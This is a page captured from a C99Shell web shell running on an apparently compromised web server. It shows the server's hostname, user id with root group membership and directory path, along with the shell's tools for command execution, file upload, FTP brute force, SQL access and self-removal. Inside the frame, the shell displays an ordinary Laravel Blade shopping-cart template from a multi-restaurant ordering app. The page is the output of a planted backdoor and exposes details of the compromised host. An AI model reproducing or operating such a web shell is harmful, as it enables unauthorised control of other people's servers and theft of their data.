!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/Modules/MultiRestaurant/Resources/views/   drwxr-xr-x
Free 28.23 GB of 117.98 GB (23.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     addToCart.blade.php (19.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('multirestaurant::layouts.master')

@section('title') {{json_decode(get_settings('site_setting'))->name}} - {{trans('multirestaurant::layout.add_to_cart')}} @endsection

@section('content')
    <div class="main-section" style="margin-bottom: 60px">
        <div class="heading cf">
            <h2>{{trans('multirestaurant::layout.my_cart')}}</h2>
        </div>
        <div class="cart">
            <ul class="cartWrap">
                @if(isset($carts) && $carts->isNotEmpty())
                @foreach($carts as $cart)
                    <li class="items odd">
                        <div class="infoWrap" data-id="{{$cart->id}}" id="data-id">
                            <div class="image-div">
                                <img src="{{asset('uploads/'.$cart->restaurant->cover_image)}}" alt="" class="itemImg" />
                            </div>
                            <div class="cartSection">
                                <h3>{{$cart->restaurant->name}}</h3>
                                <p class="itemNumber">{{$cart->restaurant->location}}</p>
                            </div>

                            <div class="pran-div">
                                <div class="item-div">
                                    <ul class="item-namee">
                                        <li class="itemtitle">{{trans('multirestaurant::layout.items')}}</li>
                                        @foreach($items as $item)
                                            @if($cart->restaurant_id == $item->restaurant_id)
                                            <li class="itemname">{{$item->item->name}}</li>
                                            @endif
                                        @endforeach
                                    </ul>
                                </div>
                                @php
                                    $items_id = [];
                                    $items_quantity = [];
                                @endphp
                                @foreach($items as $item)
                                    @if($cart->restaurant_id == $item->restaurant_id)
                                        @php $items_id[] = $item->item_id; @endphp
                                        @php $items_quantity[] = $item->item_quantity; @endphp
                                    @endif
                               @endforeach

                                <div class="item-div">
                                    <ul class="item-namee">
                                        <li class="itemtitle">{{trans('multirestaurant::layout.quantity')}}</li>
                                        @foreach($items as $item)
                                            @if($cart->restaurant_id == $item->restaurant_id)
                                                <li class="itemname">{{$item->item_quantity}}</li>
                                            @endif
                                        @endforeach
                                    </ul>
                                </div>

                                <div class="item-div">
                                    <ul class="item-namee">
                                        <li class="itemtitle">{{trans('multirestaurant::layout.price')}}</li>
                                        @foreach($items as $item)
                                            @if($cart->restaurant_id == $item->restaurant_id)
                                                <li class="itemname">{{$item->restaurant->currency_symbol}}{{$item->item->price}}</li>
                                            @endif
                                        @endforeach
                                    </ul>
                                </div>
                                @php
                                    $alltotal = 0;
                                @endphp
                                @php
                                    $total = 0;
                                @endphp
                                <div class="item-div">
                                    <ul class="item-namee">
                                        <li class="itemtitle">{{trans('multirestaurant::layout.sub_total')}}</li>
                                        @foreach($items as $item)
                                            @if($cart->restaurant_id == $item->restaurant_id)
                                                <li class="itemname">{{$item->restaurant->currency_symbol}}{{$item->item->price*$item->item_quantity}}</li>
                                                @php
                                                    $total += $item->item->price*$item->item_quantity;
                                                @endphp
                                            @endif
                                            @php
                                                $alltotal += $item->item->price*$item->item_quantity;
                                            @endphp
                                        @endforeach
                                    </ul>
                                </div>
                            </div>

                            <div class="prodTotal cartSection">
                                <p>Total : {{$cart->restaurant->currency_symbol}}{{ $total }}</p>
                            </div>
                            <div class="cartSection">
                                <button type="button" class="process-btn-b process_to_pay"
                                        restaurant-id="{{$cart->restaurant_id}}"
                                        item-id="{{json_encode($items_id)}}"
                                        item-quantity="{{json_encode($items_quantity)}}">{{trans('multirestaurant::layout.process_to_pay')}}
                                </button>
                            </div>
                            <div class="cartSection removeWrap">
                                <a href="{{route('multirestaurant::remove.add.to.cart.item',[$cart->restaurant_id])}}" class="remove">x</a>
                            </div>
                        </div>
                    </li>

                @endforeach
                @else
                    <div class="col-lg-12">
                        <h5 class="card-title pt-3 text-center text-danger" id="multirestaurant-notification">{{trans('multirestaurant::layout.no_orders_found')}}</h5>
                    </div>
                @endif
            </ul>
        </div>
        <div class="subtotal cf" id="price">
            <ul class="subtotal-div">
                <li class="totalRow final"><span class="label">{{trans('multirestaurant::layout.total')}}</span><span class="value">{{isset($item->restaurant->currency_symbol)?$item->restaurant->currency_symbol:'$'}}{{isset($alltotal)?$alltotal:'00' }}</span></li>
            </ul>
        </div>
    </div>

    <div class="location-modal paymentModal">
        <div class="location-modal-content">
            <span class="locationClose close">&times;</span>
            <form action="{{route('order.place')}}" method="post" id="orderForm">
                @csrf
                <div class="row">
                    <input type="hidden" name="restaurant" value="" id="item_restaurant">
                    <div id="item_quantity"></div>
                    <div id="item_id"></div>
                </div>

                <div class="container">
                <div class="row"></div>
                    <div class="col-md-12">
                        <label for="name">{{trans('multirestaurant::layout.name')}}</label>
                        <input value="{{auth()->check()?auth()->user()->name:''}}" name="name"
                               type="text" class="form-control" id="name"
                               placeholder="{{trans('layout.ex_jone_doe')}}"
                               required="">
                    </div>
                    <div class="col-md-12">
                        <label for="phone">{{trans('multirestaurant::layout.phone')}}</label>
                        <input value="{{auth()->check()?auth()->user()->phone_number:''}}"
                               name="phone"
                               type="number" class="form-control" id="phone"
                               placeholder="{{trans('layout.phone_number')}}">
                        <span id="phone-error" class="small text-danger p-2"></span>
                    </div>
                    <div class="col-md-12">
                        <label for="phone">{{trans('multirestaurant::layout.email')}}</label>
                        <input value="{{auth()->check()?auth()->user()->email:''}}" name="email"
                               type="email" class="form-control" id="email"
                               placeholder="{{trans('layout.ex_example_mail_com')}}">
                        <span id="email-error" class="small text-danger p-2"></span>

                    </div>
                    <div class="col-md-12 col-12 mb-3 ">
                        <label for="table_id">{{trans('multirestaurant::layout.select_a_payment_type')}}</label>
                        <select id="deliveryType" class="form-control" name="selectDeliveryType">
                            <option value="takeaway">{{trans('multirestaurant::layout.takeaway')}}</option>
                            <option value="delivery">{{trans('multirestaurant::layout.cash_on_delivery')}}</option>

                        </select>
                    </div>
                    <div id="takeawayTime" class="col-sm-12 mb-3 takeaway-section d-none">
                        <label for="time">{{trans('multirestaurant::layout.time')}}*</label>
                        <select name="time" id="time" class="form-control">
                            {!! generateOrderSlot() !!}
                        </select>
                    </div>
                    <div id="delivery" class="col-sm-12 mt-3 d-none">
                        <label for="deliveryAddress">{{trans('multirestaurant::layout.delivery_address')}}</label>
                        <input value="" type="text" name="address" id="deliveryAddress"
                               class="form-control" placeholder="Ex: 2806 Montague Rd, BC, Canada">
                    </div>
                    <div class="col-md-6">
                        <label for="comment">{{trans('multirestaurant::layout.comment')}}</label>
                        <input name="comment" type="text" class="form-control" id="comment"
                               placeholder="{{trans('layout.ex_Need_extra_spoon')}}">
                    </div>
                    <div class="col-md-6 mt-3">
                        <div id="payNow" class="custom-control custom-radio mb-2 d-none">
                            <input value="pay_now" id="pay_now"
                                   name="pay_type"
                                   type="radio"
                                   class="custom-control-input" >
                            <label class="custom-control-label"
                                   for="pay_now">{{trans('multirestaurant::layout.pay_now')}}</label>
                            <div class="pay-now-section d-none">
                                <div class="row">
                                    <div class="col-md-12 mb-3">
                                        <div class="d-block my-3">

                                            <div class="custom-control custom-radio mb-2">
                                                <input id="paypal" name="paymentMethod" type="radio"
                                                       class="custom-control-input"
                                                       required="" checked="" value="paypal">
                                                <label class="custom-control-label"
                                                       for="paypal">{{trans('multirestaurant::layout.paypal')}}</label>
                                            </div>

                                            <div class="custom-control custom-radio mb-2">
                                                <input id="paytm" name="paymentMethod" type="radio"
                                                       class="custom-control-input"
                                                       required="" value="paytm">
                                                <label class="custom-control-label"
                                                       for="paytm">{{trans('multirestaurant::layout.paytm')}}</label>
                                            </div>
                                            <div class="custom-control custom-radio mb-2">
                                                <input id="mollie" name="paymentMethod" type="radio"
                                                       class="custom-control-input"
                                                       required="" value="mollie">
                                                <label class="custom-control-label"
                                                       for="mollie">{{trans('multirestaurant::layout.mollie')}}</label>
                                            </div>
                                            <div class="custom-control custom-radio mb-2">
                                                <input id="paystack" name="paymentMethod" type="radio"
                                                       class="custom-control-input"
                                                       required="" value="paystack">
                                                <label class="custom-control-label"
                                                       for="paystack">{{trans('multirestaurant::layout.paystack')}}</label>
                                            </div>
                                            <div class="custom-control custom-radio mb-2">
                                                <input id="credit" name="paymentMethod" type="radio"
                                                       class="custom-control-input"
                                                       required="" value="stripe">
                                                <label class="custom-control-label"
                                                       for="credit">{{trans('multirestaurant::layout.credit_or_debit_card')}}</label>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-6">
                        <button type="submit" class="btn btn-xs btn-primary place-order mt-3 {{auth()->user()?'':'disabled'}}">{{trans('multirestaurant::layout.place_order')}}</button>
                    </div>

                </div>
            </form>
        </div>
    </div>

    @endsection
    @section('js')
        <script>
            $(document).on('click','.process_to_pay', (e)=> {
                e.preventDefault();
                const restaurant_id = $('.process_to_pay').attr('restaurant-id');
                const items_id = $('.process_to_pay').attr('item-id');
                const items_quantity = $('.process_to_pay').attr('item-quantity');
                let html_item_id= '';
                let html_item_quantity= '';

                let item_id = JSON.parse(items_id)
                let item_quantity = JSON.parse(items_quantity)
                $('#item_restaurant').val(restaurant_id)
                $.each(item_id, function(index,value) {
                    html_item_id += `<input type="hidden" name="item_id[]" value="${value}">`;
                });
                $.each(item_quantity, function(index,value) {
                    html_item_quantity += `<input type="hidden" name="item_quantity[]" value="${value}">`;
                });
                $('#item_quantity').append(html_item_quantity);
                $('#item_id').append(html_item_id);

                $(".paymentModal").toggle();
                $('#payNow').removeClass('d-none');
                $('#takeawayTime').removeClass('d-none');
            });
            $(document).on('click','.locationClose', (e)=> {
                e.preventDefault();
                $(".location-modal").toggle();
            });

        </script>
        <script>
            $('#deliveryType').on('change', function (e) {
                e.preventDefault();
                const type = $(this).val();
                const auth_user = "{{auth()->user()}}";
                let checked_pay_now = $("#pay_now").is(":checked");
                if (type == 'takeaway') {
                    $('#table').addClass('d-none');
                    $('#payNow').removeClass('d-none');
                    $('#delivery').addClass('d-none');
                    $('#takeawayTime').removeClass('d-none');
                    // $('.pay-now-section').removeClass('d-none');
                    $('#place-order').removeClass('disabled');
                    if (checked_pay_now) {
                        $('#place-order').removeClass('disabled');
                    } else {
                        $('#place-order').addClass('disabled');
                    }
                } else if (type == 'delivery') {
                    $('#table').addClass('d-none');
                    $('#payNow').addClass('d-none');
                    $('#delivery').removeClass('d-none');
                    $('#takeawayTime').addClass('d-none');
                    $('.pay-now-section').addClass('d-none');
                    $('#place-order').removeClass('disabled')
                    if(!auth_user){
                        $('#place-order').addClass('disabled');
                        toastr.error('You must login first', 'failed', {timeOut: 5000});
                    }else{
                        $('#place-order').removeClass('disabled');
                    }
                }
            });
            $('input[type=radio][name=pay_type]').change(function () {
                if (this.value == 'pay_on_table') {
                    $('.pay-now-section').hide();
                    $('.card-payment-section').hide();
                } else if (this.value == 'pay_now') {
                    $('.pay-now-section').show();
                    $('.takeaway-section').hide();
                    $('.pay-now-section').removeClass('d-none')
                } else if (this.value == 'takeaway') {
                    $('.pay-now-section').hide();
                    $('.card-payment-section').hide();
                    $('.takeaway-section').show();
                }
            });
            $('#pay_now').on('click', function (e) {
                $('#place-order').removeClass('disabled');
            });
        </script>
        <script>
         const id =  $('#data-id').attr('data-id');
         if (!id){
           $('#price').addClass('d-none');
         }
        </script>
    @endsection



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--